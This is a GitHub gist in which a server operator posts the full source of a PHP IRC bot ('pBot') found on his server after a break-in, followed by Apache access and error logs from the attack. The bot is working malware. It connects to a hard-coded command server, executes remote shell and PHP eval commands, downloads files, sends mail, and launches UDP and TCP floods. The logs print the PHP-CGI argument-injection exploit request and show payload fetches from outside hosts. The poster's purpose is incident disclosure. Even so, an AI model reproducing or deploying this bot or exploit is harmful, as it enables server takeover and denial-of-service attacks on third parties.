Skip to content

Instantly share code, notes, and snippets.

@rick rick/bot.php
Last active Dec 27, 2015

Embed
What would you like to do?
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class pBot
{
var $config = array("server"=>"69.10.138.183", "port"=>"3303", "key"=>"*", "prefix"=>"Geox", "maxrand"=>"8", "chan"=>"#q", "trigger"=>".", "hostauth"=>"localhost");
var $users = array();
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; }
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if($vhost == $this->config['hostauth'])
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "mail":
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "cmd":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = Exe($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "ud.server":
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]);
}
fclose($this->conn);
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: could not open output file.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
break;
case "udpflood":
if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); }
break;
case "tcpconn":
if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); }
break;
}
}
}
break;
}
}
}
}
}
function send($msg) { fwrite($this->conn,$msg."\r\n"); }
function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); }
function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
function set_nick()
{
$fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
if(!$fp) $this->nick = "[UKN]";
else
{
fclose($fp);
$ctx = stream_context_create(array('http' => array('timeout' => 30)));
$buf = file_get_contents("http://freegeoip.ne/json/", 0, $ctx);
if(!strstr($buf, "country_code")) $this->nick = "[UKN]";
else
{
$code = strstr($buf, "country_code");
$code = substr($code, 12);
$code = substr($code, 3, 2);
$this->nick = "[".$code."]";
}
}
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]";
else $this->nick .= "[LINUX]";
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= "[X]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= "[N]";
else $this->nick .= "[U]";
}
else
{
$this->nick .= "[C]";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$port,$time,$packetsize) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
$i = 0;
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
}
function tcpconn($host,$port,$time)
{
$this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen($host, $port, $dummy, $dummy, 1);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
# Found in the apache log at the beginning of the hack:
37.187.77.137 - - [03/Nov/2013:02:04:44 -0500] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 114 "-" "-"
# which translates to:
37.187.77.137 - - [03/Nov/2013:02:04:44 -0500] "POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n HTTP/1.1" 200 114 "-" "-"
# So, a PHP exploit. I checked back to see which site on that machine would have PHP on it (as I thought I was clean in that regard), and it was a friend's old home page (d'oh!). I recovered from old backups, removed PHP, and shut down that site. More interesting tidbits from the error logs follow. They didn't clean up behind themselves much at all; they replaced `ps` with a trojaned binary, but didn't touch `top`, which is what I went to first.
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: line 0: fg: no job control
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: bitsadmin: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:44-- http://74.52.9.186/lol
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:44-- ftp://ftp:*password*@80.79.48.186/bot.php
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] => `bot.php'
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Connecting to 80.79.48.186:21...
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: del: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: x.exe: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Logging in as ftp ...
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] R
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] c
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] v
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] X
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] f
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] A
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] v
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] g
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] C
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] u
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] n
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] D
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] U
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] n
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] L
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] f
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
